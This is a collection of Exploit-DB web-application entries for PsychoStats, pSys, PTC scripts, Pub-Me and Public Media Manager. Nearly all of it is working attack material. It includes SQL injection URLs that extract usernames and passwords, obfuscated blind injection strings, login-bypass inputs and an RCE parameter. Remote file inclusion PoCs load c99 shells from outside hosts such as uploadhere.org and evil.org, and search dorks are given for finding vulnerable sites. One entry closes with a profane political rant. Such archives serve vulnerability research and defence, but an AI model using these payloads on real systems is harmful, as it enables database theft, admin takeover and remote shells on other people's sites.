deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5699
Description: PsychoStats 2.3.3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-31
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## rEm0te SQL InjEction VulnErability 
##
## PsychoStats Versions (( - v2.3 - v2.3.1 - v2.3.3 - )) ( map.php id ) & ( weapon.php id )
##                              
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL   -(:: ThE Geek InjEcT0r ::)-
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  :  SQL@Hotmail.it
##
#########################
#########################
##
## Script Name  : PsychoStats Versions (( - v2.3 - v2.3.1 - v2.3.3 - ))
##
## Download ScriptS : www.psychostats.com/downloads/
##
## D0rk F0r all Versions ::   "Powered by PsychoStats"
##
#########################
#########################

n0te :: Tables  (( psuser  0r  ps_user 0r psadmin 0r pas_admin )) get the table_name maybe Sites changed tables :))
     :: columns (( username 0r password 0r plr 0r name ))
       & in the exploit dont use -

n0te :: The Script have diffrent Versions you can get the source and search for other bugs


#########################
#########################
##
## PsychoStats v2.3 
##
## D0rK ::  "Powered by PsychoStats v2.3"
##
#########################
##
##   -(:: SQL ::)-
##
##    www.site.com/
##          weapon.php?id=1+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
##
#########################
#########################



#########################
#########################
##
## PsychoStats v2.3.1 
##
## D0rK ::  "Powered by PsychoStats v2.3.1"
##
#########################
##
##   -(:: SQL ::)-
##
##   www.site.com/
##          map.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,user(),13,14,15,16,17--
##
#########################
#########################



#########################
#########################
##
## PsychoStats v2.3.3
##
## D0rK ::  "Powered by PsychoStats v2.3.3"
##
#########################
##
##   -(:: SQL ::)-
##
##     www.site.com/
##          weapon.php?id=1+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*       
##
#########################
#########################


#############################################################################

                      -(:: Gr3E3E3E3E3E3E3Tz ::)-

  :: HaCkEr-EGy :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: 

#############################################################################

# milw0rm.com [2008-05-31]
Exploit-DB #24893
Description: PsychoStats 3.2.2b - 'awards.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2013-03-27
Author: Mohamed from ALG

Exploit:
Exploit Title :  PsychoStats awards.php blind SQL Injection
==============
Date: 27/03/2013 00:50
=====
Author: Mohamed from ALG
======
Vendor or Software Link:http://psychostats.us/
=======================
Version: 3.2.2b
========
Category: webapps
=========
Google Keywords: "Powered by PsychoStats 3.2.2b"
===============
contact: senderberd[at]gmail.com
========

exploit:
========

http://server/awards.php?d=YYYY-MM-DD{Inject hier your blind SQL injection}


Use Havij to easy exploit 
Enjoy 


S.Th To a El Koyot

end
Exploit-DB #5977
Description: pSys 0.7.0 Alpha - 'chatbox.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-30
Author: DNX

Exploit:
                             \#'#/
                             (-.-)
   ---------------------oOO---(_)---OOo--------------------
   | pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection |
   |           (works only with magic quotes = off)       |
   |                     coded by DNX                     |
   --------------------------------------------------------
[!] Discovered.: DNX
[!] Vendor.....: http://www.powie.de
[!] Detected...: 22.06.2008
[!] Reported...: 23.06.2008
[!] Response...: 23.06.2008

[!] Background.: pSys is a module based PHP Script

[!] Bug........: $showid in chatbox.php near line 42

                 12: $showid = $_REQUEST['showid']; //Einzelne ID anzeigen

                 41: if ($showid != '') {
                 42:     $sqlbefehl = "Select * FROM $tab_quick where id='$showid'";

[!] PoC........: http://127.0.0.1/psys/chatbox.php?showid=' union select 1,username,pwd,4,5,6,7,8 FROM ps_pfuser/*

                 "ps_" is default database prefix

[!] Solution...: Install updates from cvs (http://www.powie.de/cvsout)

[!] Greetingz..: h0yt3r, k1tk4t, pwndomina, e\o, daneo

# milw0rm.com [2008-06-30]
Exploit-DB #6076
Description: pSys 0.7.0 Alpha - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-07-15
Author: RoMaNcYxHaCkEr

Exploit:
   ====================================================
   | pSys v0.7.0 Alpha Multiple Remote File Include   
   |     (works only with register_globals = on)      
   |        Founded By rXh RoMaNTiC-TeaM              
   ====================================================

[!] Discovered.:                           RoMaNcYxHaCkEr
[!] Vendor.....:                            http://www.powie.de
[!] My Homepage...:                    WwW.4RxH.CoM
[!] RoMaNTiC-TeaM Members ...:  Unknown Hacker , aLwHeD , GaMe-OvEr-HaCkErs
[!] Contact Me ...:                        rxh0@hotmail.com

[!] Background.:                          pSys is a module based PHP Script

[!] Bugs........:                             In Different Files & In Different Variable And Lines

[!] PoC........: 

http://4RxH.CoM/cms1/login.inc.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/admin/adminmenuright.php?pdir_admin=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/admin/fuss.php?pdir_admin=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/admin/kopf.php?pdir_admin=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/forum/ajax_newpost.inc.php?pdir_lib=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/panels/panel_shopkategorie.php?pdir_mod=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/panels/panel_shopkunde.php?pdir_mod=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/panels/panel_user.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/mod/gb/ajax_post.inc.php?pdir_lib=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/csg/fuss.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/csg/kopf.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/default/fuss.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/default/kopf.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/simpleblack/fuss.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/simpleblack/kopf.php?pdir=http://www.uploadhere.org/c99.txt?

[!] Solution...:     Contact With Me I Will Declear All This Fucking Function

[!] Greetingz..:    No One Deserved (Am I Said The Truth ?!!!)

[!] Thx .. :           DNX For Your Exploit I Found This Bugs From Your Exploit  :) 

[!] rXh

[!] bEST wISHES

# milw0rm.com [2008-07-15]
Exploit-DB #5745
Description: pSys 0.7.0.a - 'shownews' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-05
Author: anonymous

Exploit:
######################
#
#pSys - 0.7.0. alpha shownews SQL Injection
#
######################
#
#Bug by: h0yt3r
#
##
###
##
#
#Bug in here:
#
# if (isset($_REQUEST['shownews']) && $_REQUEST['shownews'] != "") {
#    $sqlbefehl="Select titel from $tab_news Where id = '".intval($_REQUEST['shownews'])."'";
#    $gettitel = mysql_query($sqlbefehl,$serverid);
#    $news=mysql_fetch_array($gettitel);
#    $pagetitle = $pset['systitle']." - ".htmlspecialchars($news['titel']);
#    //Hit Count
#    $sqlbefehl = "Update $tab_news Set Counter=Counter+1 Where id = '".intval($_REQUEST['shownews'])."'";
#    @mysql_query($sqlbefehl,$serverid);
# }
#
#
#Ok, as we can see the script uses intval to convert the value of $shownews to an integer,
#so a normal Select Injection would return nothing.
#But it is still possible to inject and echo the right values using a simple CONVERT() or CAST() subquery.
#Make sure that your subquery returns only one row by setting limit n,1.
#
#In standard configuration the table prefix is "ps_". But it also can be somethin like "powie_"
#like it is set in version 0.69.
#Remember that you can use information_schema.tables when mySQL Version >= 5 for finding prefixes and names.
#
#And by the way Powie uses a nice password encryption style, so have fun with it:
#
# if ($checkuser == 1) {
#         srand((double)microtime() * 1000000);
#         $newpass = md5(uniqid(rand()));
#         $[CREDENTIAL_REDACTED]($newpass, 0, 10);
# }
#
#SQL Injection:
#http://[target]/[path]/news/index.php?shownews=[SQL+SUBQUERY]
#
#PoC:
#/news/index.php?shownews=-1'UnIoN/**/SeLeCt/**/1,CoNvErT((SeLeCt/**/CoNcAt(username,0x3a,pwd)/**/FrOm/**/powie_pfuser/**/LiMit/**/0,1),ChAr(99)),3,4,5,6,7,8,9,10,11,12,13/*
#/news/index.php?shownews=-1'UnIoN/**/SeLeCt/**/1,CaSt((SeLeCt/**/CoNcAt(username,0x3a,pwd)/**/FrOm/**/ps_pfuser/**/LiMit/**/0,1)/**/AS/**/ChAr),3,4,5,6,7,8,9,10,11,12,13/*
#
#######################
#
#Greetz to thund3r, b!zZ!t, ramon, Sys-Flaw, Free-Hack and the great h4ck-y0u Team!
#
#######################
#######################

# milw0rm.com [2008-06-05]
Exploit-DB #28601
Description: PT News 1.7.8 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-18
Author: Snake

Exploit:
source: https://www.securityfocus.com/bid/20090/info

PT News is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ptnews-1.7.8/search.php?pgname=[xss]
Exploit-DB #10562
Description: Ptag 4.0.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-12-19
Author: cr4wl3r

Exploit:
##################################################################
## Exploit Title: Ptag <= 4.0.0 Multiple RFI Exploit            ##
## Date: 19-12-2009                                             ##
## Author: cr4wl3r                                              ##
## Software Link: http://sourceforge.net/projects/ptag/         ##
## Version: N/A                                                 ##
## Tested on: GNU/LINUX                                         ##
##################################################################


~ Code [session.php]

<?php
//Plottable Tagboard Systems Version 4.0.0 - ROLAND
//Session handling File

require_once(ptag_dir."lib/php/crossSession.php");
class ptag_session extends crossSession{
	public function __construct(){
		global $ptag_sql;
		$this -> sql_table = ptag_prefix."session";
		$this -> cookie_name = ptag_prefix."session";
		
		//If RSS mode, switch session to non-viewed tracker.
		if (ptag_output == "rss"){
			parent::__construct($ptag_sql, sha1(""));
		}
		else{
			parent::__construct($ptag_sql);
		}
	}
}
?>

~ PoC

[Ptag_path]/lib/session.php?ptag_dir=[Shell]




~ Code [sql.php]

<?php
//Plottable Tagboard Systems Version 4.0.0 - ROLAND
//Extending MySQL class

require_once(ptag_dir."lib/php/ezmySQL.php");
class ptag_sql extends ezmySQL{

	public function __construct(){
		parent::__construct(ptag_mysql_host, ptag_mysql_user, ptag_mysql_pass, ptag_mysql_db);
	}
	
	protected function error_handler($err){
		$error = "A MySQL error has occured: (".$err["errno"].") ".$err["error"]." when executing the query: ".$err["query"];
		
		return ptag_exception::handle_error($error, $err["line"], $err["file"], $err["class"], $err["method"]);
	}
}
?>


~ PoC

[Ptag_path]/lib/sql.php?ptag_dir=[Shell]
Exploit-DB #42715
Description: PTC KSV1 Script 1.7 - 'type' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-14
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: PTC KSV1 Script 1.7 - SQL Injection
# Dork: N/A
# Date: 14.09.2017
# Vendor Homepage: https://www.goterhosting.com/
# Software Link: https://www.goterhosting.com/ptc-ksv1.php
# Demo: http://www.ksv1demo.gvmhosting.com/
# Version: 1.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/gpt.php?v=entry&type=[SQL]&id=1&
# 
# +'++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='&id=1&
# 
# Etc..
# # # # #
Exploit-DB #12808
Description: PTC Site's - Remote Code Execution / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-30
Author: CrazyMember

Exploit:
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

@Title: PTC Site's RCE/XSS Vulnerability
@Vendor: http://www.ptcsites4sale.info & and etc...:D
@Author: CrazyMember
@SPC Thanks: XroGuE 4 r3p0r7 :P 
@Dork:"intext:Warning: passthru()" "inurl:view=help"

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

@Bug: http://[site]/index.php?view=help&faq=1&ref=[RCE/XSS/HTML]

Demo: 

#http://[site]/index.php?view=help&faq=1&ref=marykarma&cmd=[Your Commond]
#http://[site]/index.php?view=help&faq=1&ref=[Your ScripT]

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Exploit-DB #32941
Description: PTCeffect 4.6 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2014-04-19
Author: walid naceri

Exploit:
# Exploit Title: PTCeffect LFI & SQL Injection Vulnerabilities 
# Google Dork: find it :)
# Date: 2014-04-19
# Exploit Author: Walidz
# Software Link: http://www.ptceffect.com/ 
# Version: 4.6
# Tested on: windows,linux,mac os
# CVE : N/A

The LFI vulnerability is in index.php
 
--------------------[index.php]--------------------
 
if ($input->g['view']) {
        $filename = strtolower($input->g['view']) . ".php";
 
[...]
 
 
include SOURCES . $filename;
 
 
--------------------[index.php]--------------------
 
So you can include a fil by doing ; http://[site]/index.php?view=[file]
 
 
By using the LFI, you can also include "admin files" which are especially unsecure, and let you inject SQL queries.
 
As the file admin/sources/edit_loginad.php
 
 
PoC ; http://[site]/index.php?view=../admin/Sources/edit_loginad&edit=-1%20union%20select%201,2,3,4,%28SELECT%20password%20FROM%20admin%29,6,7,8,9--%20-
 
 
For more tools and priv8 exploit: http://security-dz.com
For contact: admin@security-dz.com
Exploit-DB #42733
Description: PTCEvolution 5.50 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: PTCEvolution 5.50 - SQL Injection
# Dork: N/A
# Date: 15.09.2017
# Vendor Homepage: http://ptcevolution.com/
# Software Link: http://www.ptcevolution.com/demoo/
# Demo: http://demo.ptcevolution.com/
# Version: 5.50
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?view=product&id=[SQL]
# http://localhost/[PATH]/index.php?view=products&id=[SQL]
# 
# -4++/*!03333UNION*/(/*!03333SELECT*/+(1),(/*!03333Select*/+export_set(5,@:=0,(/*!03333select*/+count(*)/*!03333from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!03333table_name*/,0x3c6c693e,2),/*!03333column_name*/,0xa3a,2)),@,2)),(3),(4),(5),(6),(7),(8),(9))--+-
# 
# Etc..
# # # # #
Exploit-DB #14086
Description: PTCPay GEN4 - 'buyupg.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-28
Author: Dark.Man

Exploit:
=====================================================
PTCPay GEN4  (buyupg.php) SQL Injection Vulnerability
=====================================================

# Exploit Title:
# Date: 28.06.2010
# Author: Dark.Man > dark.kopat@gmail.com
# Thanks To: Diq3N , SkyTurk , ByHuCRe , HeuRiSTiC , th3spy , 3KStyL3 , WatchFul
# Homepage: http://www.Root-Secure.Org/
# Software Link: http://www.ptcpay.com/
# Version: PTCPay GEN4
# Price: $149.99
# Google dork : "Powered by GeN4"
# Category: SQL Injection

----  Exploit ----

Step 1 - Register The Site

Step 2 - Go to link :
http://www.site.com/buyupg.php?upg=2/**/aNd/**/1=0/**/unIon
SeleCT/**/1,2,3,4,5,6,7,CONCAT_WS(CHAR(32,58,32),aId,aUsername,aPassword,aPermissions),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39/**/from/**/admins
Exploit-DB #15348
Description: Pub-Me CMS - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-10-28
Author: H4f

Exploit:
                              _______ _____   ___ 
                             |   |   |  |  |.'  _|
                             |       |__    |   _|
                             |___|___|  |__||__|  
                                                  
Pub-Me CMS Blind SQL Injection Vulnerability
 
 Name:              Pub-Me CMS
 Vendor:            http://www.pub-me.com/
 Versions Affected: //unknown, all current affected - devel. homepage & 33 clients web pages
 Software Link:     Not aviable, Demo can be requested by e-mail from vendor
 Found by:          H4f, <Sec was born project, Anonymous submission>
 Contact:           zotrob [at] gmail [dot] com
 Date:              2010-10-25
 
X. INDEX
 
 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
  
 
I. ABOUT THE APPLICATION
________________________
 
Pub-Me Content Managment System is designed to make it possible for you to pay full 
attention to the content without having to bother about technologies.

II. DESCRIPTION
_______________
 
NOT properly sanitised form before being used
in a SQL query.
 
 
III. ANALYSIS
_____________
 
Summary:
 
All Pub-Me based websites are vulnerable, any more/less trained monkey can reach admin panel. 
______________________

 
IV. SAMPLE CODE
_______________
 
Blind SQL Injection
 
 Login>   ' or 0=0 #
 Pass>    ' or 0=0 #
 
V. FIX
______
 
Vedor contacted, no reponse.
Exploit-DB #10285
Description: Public Media Manager - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-01
Author: cr4wl3r

Exploit:
   [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#Public Media Manager <= 1.3 (forms_dir) Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/pmm-cms/files/
#Dork                 :  die("Lamers attempt");  :D
########################################################################
#
#Vuln : ./pmm-cms-1.3/comcal/calmenu.php (line 4)
#       <?php
#          require $forms_dir."calmenuform.php"; 
#       ?>
#PoC  :  http://server/[path]/comcal/calmenu.php?forms_dir=http://attacker.com/shell.txt?cmd
#
#
########################################################################
########################################################################
####################[90r0nt4l0 und3r9r0nd c0mmun1ty]####################
########################################################################
########################################################################

   [ Gorontalo / 2009 ]
Exploit-DB #11136
Description: Public Media Manager - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-13
Author: learn3r hacker

Exploit:
#################################################
#       Public Media Manager SQLi vulns         #
#          By learn3r hacker from Nepal         #
#           damagicalhacker@gmail.com           #
#################################################

Product name: Public Media Manager

This product, an online NEWS CMS, suffers from SQL injection in login so that we can bypass the login system.
Also, it suffers from SQLi in the GET variables which can be exploited to get different information from the database.

################ SQL Login Bypass #################

Admin panel located at: /newsdb

Username: validuser'#  [eg. admin'#]
[CREDENTIAL_REDACTED]   [or whatever]

Username: ' or 1='1'#
[CREDENTIAL_REDACTED]   [ or whatever]

################ SQL Injections ##################

[+] Exploit:

http://localhost/pmm-cms/NewsCMS/newsdb/fullstory.php?storyid=-1+union+all+select+1,concat(@@version,0x3a,user(),0x3a,database())

Maybe there are more vulns but I can't give more time in auditing codes.


Greetz to: sToRm(Thanks a lot bro) and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar...
We need political stability and economic development in Nepal and you motherfuckers are terrorizing in the name of political parties. So BIG FUCK YOUs to all the political parties and leaders of Nepal.

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!
Exploit-DB #4465
Description: public media manager 1.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-28
Author: 0in

Exploit:
#f0und bY 0in
#Download:http://pmm-cms.sourceforge.net/
BUG:
news/newstopic_inc.php:2:if (!empty($indir)) include_once ($indir)."/newsdb/config.php";

Expl0it:
http://x.com/[path]/news/newstopic_inc.php?indir=http://evil.org/shell.txt

# milw0rm.com [2007-09-28]